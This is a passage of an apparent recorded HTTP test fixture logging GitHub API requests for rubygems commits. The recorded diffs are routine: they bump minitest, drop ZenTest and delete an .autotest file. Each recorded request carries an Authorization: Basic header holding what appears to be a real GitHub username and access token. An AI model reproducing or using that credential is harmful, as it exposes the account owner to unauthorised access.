C:\\Ruby23-x64\\lib\\ruby\\gems\\2.3.0\n-- C:\\Ruby24-x64\\lib\\ruby\\gems\\2.4.0\n+matrix:\n+ allow_failures:\n+ - ruby_version: _trunk\n \n build: off\n-test_script:\n-- rake -rdevkit test\n-on_finish:\n-- ruby -v\n deploy: off"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:37 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/9c674f578d95e8b5ac03253fc60a545f1d445503 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4603' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"24b8bf6c1ff9822d45520b9d6cc8136d" Last-Modified: - Tue, 26 Dec 2017 08:25:11 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041417' X-Github-Request-Id: - C444:4D95:F4791B:1C82D84:5A50E459 body: encoding: ASCII-8BIT string: '{"sha":"9c674f578d95e8b5ac03253fc60a545f1d445503","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T08:25:11Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T08:25:11Z"},"message":"Auto merge of #2131 - rubygems:relax-minitest5, r=hsbt\n\nRelax minitest version for 5.\n\nnext step of https://github.com/rubygems/rubygems/pull/2118","tree":{"sha":"42443d8da2b45d528e541e0e6317cf8b910d6f32","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/42443d8da2b45d528e541e0e6317cf8b910d6f32"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9c674f578d95e8b5ac03253fc60a545f1d445503","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9c674f578d95e8b5ac03253fc60a545f1d445503","html_url":"https://github.com/rubygems/rubygems/commit/9c674f578d95e8b5ac03253fc60a545f1d445503","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9c674f578d95e8b5ac03253fc60a545f1d445503/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"1def9dc0230d736922da2b17b85dfcf176fe27c0","url":"https://api.github.com/repos/rubygems/rubygems/commits/1def9dc0230d736922da2b17b85dfcf176fe27c0","html_url":"https://github.com/rubygems/rubygems/commit/1def9dc0230d736922da2b17b85dfcf176fe27c0"},{"sha":"2e18d6557a05440706b4e8cf769675b8846aee85","url":"https://api.github.com/repos/rubygems/rubygems/commits/2e18d6557a05440706b4e8cf769675b8846aee85","html_url":"https://github.com/rubygems/rubygems/commit/2e18d6557a05440706b4e8cf769675b8846aee85"}],"stats":{"total":6,"additions":3,"deletions":3},"files":[{"sha":"caf9563387bf29da549d8b92d328a7a9a4597497","filename":"Rakefile","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/9c674f578d95e8b5ac03253fc60a545f1d445503/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/9c674f578d95e8b5ac03253fc60a545f1d445503/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=9c674f578d95e8b5ac03253fc60a545f1d445503","patch":"@@ -67,7 +67,7 @@ hoe = Hoe.spec ''rubygems-update'' do\n dependency ''hoe-seattlerb'', ''~> 1.2'', :dev\n dependency ''rdoc'', ''~> 4.0'', :dev\n dependency ''rake'', ''~> 10.5'', :dev\n- dependency ''minitest'', ''~> 4.0'', :dev\n+ dependency ''minitest'', ''~> 5.0'', :dev\n \n self.extra_rdoc_files = Dir[\"*.rdoc\"] + %w[\n CVE-2013-4287.txt\n@@ -100,7 +100,7 @@ v = hoe.version\n \n hoe.testlib = :minitest\n hoe.test_prelude = <<-RUBY.gsub(\"\\n\", \";\")\n- gem \"minitest\", \"~> 4.0\"\n+ gem \"minitest\", \"~> 5.0\"\n $:.unshift #{File.expand_path(\"../bundler/lib\", __FILE__).dump}\n if \"1.8\" < RUBY_VERSION && RUBY_VERSION < \"2.2\"\n module Gem\n@@ -151,7 +151,7 @@ task(:newb).prerequisites.unshift \"bundler:checkout\"\n \n desc \"Install gems needed to run the tests\"\n task :install_test_deps => :clean do\n- sh \"gem install minitest -v ''~> 4.0''\"\n+ sh \"gem install minitest -v ''~> 5.0''\"\n end\n \n begin"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:37 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/1def9dc0230d736922da2b17b85dfcf176fe27c0 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:37 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4602' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f507a4cd28634440b082ab2553a6cb05" Last-Modified: - Tue, 26 Dec 2017 07:45:09 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042533' X-Github-Request-Id: - C446:4D97:90346D:1C46B8C:5A50E459 body: encoding: ASCII-8BIT string: '{"sha":"1def9dc0230d736922da2b17b85dfcf176fe27c0","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T07:45:09Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-12-26T07:45:09Z"},"message":"Auto merge of #2132 - rubygems:remove-zentest, r=hsbt\n\nRemove zentest from dev dependency.\n\nWe should make small rubygems''s dependencies.","tree":{"sha":"d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/1def9dc0230d736922da2b17b85dfcf176fe27c0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/1def9dc0230d736922da2b17b85dfcf176fe27c0","html_url":"https://github.com/rubygems/rubygems/commit/1def9dc0230d736922da2b17b85dfcf176fe27c0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/1def9dc0230d736922da2b17b85dfcf176fe27c0/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443"},{"sha":"8ecb8b992fcf0678fccaf6ccbdc5522aad167167","url":"https://api.github.com/repos/rubygems/rubygems/commits/8ecb8b992fcf0678fccaf6ccbdc5522aad167167","html_url":"https://github.com/rubygems/rubygems/commit/8ecb8b992fcf0678fccaf6ccbdc5522aad167167"}],"stats":{"total":73,"additions":0,"deletions":73},"files":[{"sha":"10c99b521d32c8d0b60f375f954bfecbbd2a8e8c","filename":".autotest","status":"removed","additions":0,"deletions":71,"changes":71,"blob_url":"https://github.com/rubygems/rubygems/blob/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/.autotest","raw_url":"https://github.com/rubygems/rubygems/raw/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/.autotest","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.autotest?ref=ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","patch":"@@ -1,71 +0,0 @@\n-# -*- ruby -*-\n-\n-Gem.refresh\n-\n-require ''autotest/restart''\n-require ''autotest/isolate''\n-\n-Autotest.add_hook :run_command do |_, cmd|\n- cmd.sub! '' -e '', '' -we ''\n-end\n-\n-Autotest.add_hook :initialize do |at|\n- at.testlib = ''''\n-\n- at.failed_results_re = /^\\s+\\d+\\) (?:Failure|Error):\\n(.*?):/\n- at.completed_re = /\\d+ tests, \\d+ assertions, \\d+ failures, \\d+ errors/\n-\n- at.add_exception %r%/\\.git/%\n- at.add_exception %r%\\.rbc$%\n- at.add_exception %r%test/rubygems/rubygems%\n-\n- at.find_directories.clear\n- at.find_directories.push ''lib'', ''test''\n-\n- at.add_mapping %r%^lib/rubygems.rb$% do |_, m|\n- \"test/rubygems/test_gem.rb\"\n- end\n-\n- at.add_mapping %r%^lib/rubygems/(.*).rb$% do |_, m|\n- \"test/rubygems/test_gem_#{m[1].gsub ''/'', ''_''}.rb\"\n- end\n-\n- args = ARGV.reject { |a| a =~ /^-/ }\n- at.find_directories = args unless args.empty?\n-\n- def at.handle_results results\n- results = results.gsub(/\\e\\[\\d+m/, '''') # strip ascii color\n- failed = results.scan(self.failed_results_re).map { |m, k|\n- /(?\\w+)#(?\\w+)/ =~ m\n- [m, k]\n- }\n-\n- completed = results[self.completed_re]\n-\n- if completed then\n- completed = completed.scan(/(\\d+) (\\w+)/).map { |v, k| [k, v.to_i] }\n-\n- self.latest_results = Hash[*completed.flatten]\n- self.files_to_test = consolidate_failures failed\n-\n- color = failed.empty? ? :green : :red\n- hook color unless $TESTING\n- else\n- self.latest_results = nil\n- end\n-\n- self.tainted = true unless self.files_to_test.empty?\n- end\n-\n- def at.path_to_classname s\n- sep = File::SEPARATOR\n-\n- f = s.sub(/^test#{sep}rubygems#{sep}/, '''').sub(/\\.rb$/, '''').split sep\n-\n- f = f.map { |path| path.split(/_|(\\d+)/).map { |seg| seg.capitalize }.join }\n-\n- f.join(''::'').\n- gsub(''Rdoc'', ''RDoc'').\n- gsub(''GemDependencyApi'', ''GemDependencyAPI'')\n- end\n-end"},{"sha":"7587e89ccab719f5dc3d4ff5de992c38b025a454","filename":"Manifest.txt","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/1def9dc0230d736922da2b17b85dfcf176fe27c0/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/1def9dc0230d736922da2b17b85dfcf176fe27c0/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=1def9dc0230d736922da2b17b85dfcf176fe27c0","patch":"@@ -1,4 +1,3 @@\n-.autotest\n .document\n .travis.yml\n CODE_OF_CONDUCT.md"},{"sha":"874231e65bf950ab8cf023ea9f5342115b9fbd16","filename":"Rakefile","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/1def9dc0230d736922da2b17b85dfcf176fe27c0/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/1def9dc0230d736922da2b17b85dfcf176fe27c0/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=1def9dc0230d736922da2b17b85dfcf176fe27c0","patch":"@@ -66,7 +66,6 @@ hoe = Hoe.spec ''rubygems-update'' do\n dependency ''builder'', ''~> 2.1'', :dev\n dependency ''hoe-seattlerb'', ''~> 1.2'', :dev\n dependency ''rdoc'', ''~> 4.0'', :dev\n- dependency ''ZenTest'', ''~> 4.5'', :dev\n dependency ''rake'', ''~> 10.5'', :dev\n dependency ''minitest'', ''~> 4.0'', :dev\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:37 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8ecb8b992fcf0678fccaf6ccbdc5522aad167167 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4601' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"0dfa82dbf0d96393ba11348c2a35fe29" Last-Modified: - Tue, 26 Dec 2017 06:35:54 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.052453' X-Github-Request-Id: - A178:4D95:F47935:1C82DB3:5A50E459 body: encoding: ASCII-8BIT string: '{"sha":"8ecb8b992fcf0678fccaf6ccbdc5522aad167167","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:35:54Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:35:54Z"},"message":"Update manifest for .autotest","tree":{"sha":"d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8ecb8b992fcf0678fccaf6ccbdc5522aad167167","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpB7coACgkQ+c8TQXJk\n+sI1oQgAgBKzyNssMuw814sYwmn4eqcgxraakK+rW6ZEATkpYTY4rVv95HsSczNB\nfKU/Lh5zMi85PuhP8PkoosbkqdT2mB8btZSdaVZ/cXWxNrmHodDQIIfFCuP0DwQI\nvEOEoM9SQvGrwp/8W88lwlgdUXAo64XQ9vDF+8V7qV7+fRa5FUqNWRYC0oHVjfqJ\n8fdZwh6ZkNYP9Nar6ZY5vUK1MdGnJ4jh3ycJowTgiQd3ZvP5TvaZsIJ66GvJnj+K\n9v5bk/u7zCEg09yFK32+MCz01jYIVUWgatj+pIxDB+iKGlII2L2u5eovwqxBcbx+\nnH6aR+Ok4FrXCu7byLotWPiwcL9ABQ==\n=8PRS\n-----END PGP SIGNATURE-----","payload":"tree d45eff3cda8a08c8ef9a3f50e8620e02c24fa8c1\nparent bfb2b1a44a891bc61e7671b682b238c83e8d38be\nauthor SHIBATA Hiroshi 1514270154 +0900\ncommitter SHIBATA Hiroshi 1514270154 +0900\n\nUpdate manifest for .autotest\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8ecb8b992fcf0678fccaf6ccbdc5522aad167167","html_url":"https://github.com/rubygems/rubygems/commit/8ecb8b992fcf0678fccaf6ccbdc5522aad167167","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8ecb8b992fcf0678fccaf6ccbdc5522aad167167/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"bfb2b1a44a891bc61e7671b682b238c83e8d38be","url":"https://api.github.com/repos/rubygems/rubygems/commits/bfb2b1a44a891bc61e7671b682b238c83e8d38be","html_url":"https://github.com/rubygems/rubygems/commit/bfb2b1a44a891bc61e7671b682b238c83e8d38be"}],"stats":{"total":1,"additions":0,"deletions":1},"files":[{"sha":"7587e89ccab719f5dc3d4ff5de992c38b025a454","filename":"Manifest.txt","status":"modified","additions":0,"deletions":1,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/8ecb8b992fcf0678fccaf6ccbdc5522aad167167/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/8ecb8b992fcf0678fccaf6ccbdc5522aad167167/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=8ecb8b992fcf0678fccaf6ccbdc5522aad167167","patch":"@@ -1,4 +1,3 @@\n-.autotest\n .document\n .travis.yml\n CODE_OF_CONDUCT.md"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:38 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/bfb2b1a44a891bc61e7671b682b238c83e8d38be body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:38 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4600' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5e0546715d77c3090656f4bb6654b0fe" Last-Modified: - Tue, 26 Dec 2017 06:35:25 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.063637' X-Github-Request-Id: - A17A:4D97:90348F:1C46BE0:5A50E45A body: encoding: ASCII-8BIT string: '{"sha":"bfb2b1a44a891bc61e7671b682b238c83e8d38be","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:35:25Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-12-26T06:35:25Z"},"message":"Removed ZenTest from dev dependency","tree":{"sha":"21d4c8593773860f4736ff5e2ff706c0eae24457","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/21d4c8593773860f4736ff5e2ff706c0eae24457"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bfb2b1a44a891bc61e7671b682b238c83e8d38be","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlpB7a0ACgkQ+c8TQXJk\n+sJNhwf/eyFuD8GBJlGiZwOwbLv3y6WJLQAmm/THresbEIGMs++O3D9zWPEAGuJe\nl9FHvwzbDm9WUoTPWATRJDzVUGK9/zhdrrFeHVvT8WN8G/dU2YHJ9K2Ab1gjF5lZ\nXMz1qT4kkrgdtP0RUivE0oEdPgyMzF90lxBR/FmbzfM8OWXFzL+q9zQhMxLsdjRV\n4SAejLrEl6tM/nQ4rwJMXDfHsez3LZuOuUWCEgU9ygi6YJp+v3U7qtW4EfSKD7Ws\nIuZZCtdXUZv1xacBF2FnaV8/N4E75HEASThR5B97wNSM17ei90ZpLOhviVdYSSyx\nMwl+g4Dx4xpRpqyzvgV8tzwk9NpW8Q==\n=YDhV\n-----END PGP SIGNATURE-----","payload":"tree 21d4c8593773860f4736ff5e2ff706c0eae24457\nparent ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443\nauthor SHIBATA Hiroshi 1514270125 +0900\ncommitter SHIBATA Hiroshi 1514270125 +0900\n\nRemoved ZenTest from dev dependency\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bfb2b1a44a891bc61e7671b682b238c83e8d38be","html_url":"https://github.com/rubygems/rubygems/commit/bfb2b1a44a891bc61e7671b682b238c83e8d38be","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bfb2b1a44a891bc61e7671b682b238c83e8d38be/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","url":"https://api.github.com/repos/rubygems/rubygems/commits/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","html_url":"https://github.com/rubygems/rubygems/commit/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443"}],"stats":{"total":72,"additions":0,"deletions":72},"files":[{"sha":"10c99b521d32c8d0b60f375f954bfecbbd2a8e8c","filename":".autotest","status":"removed","additions":0,"deletions":71,"changes":71,"blob_url":"https://github.com/rubygems/rubygems/blob/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/.autotest","raw_url":"https://github.com/rubygems/rubygems/raw/ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443/.autotest","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.autotest?ref=ad15d9a2bf0913fdc2f3b6cfa9bbde58e310d443","patch":"@@ -1,71 +0,0 @@\n-# -*- ruby -*-\n-\n-Gem.refresh\n-\n-require ''autotest/restart''\n-require ''autotest/isolate''\n-\n-Autotest.add_hook :run_command do |_, cmd|\n- cmd.sub! '' -e '', '' -we ''\n-end\n-\n-Autotest.add_hook :initialize do |at|\n- at.testlib = ''''\n-\n- at.failed_results_re = /^\\s+\\d+\\) (?:Failure|Error):\\n(.*?):/\n- at.completed_re = /\\d+ tests, \\d+ 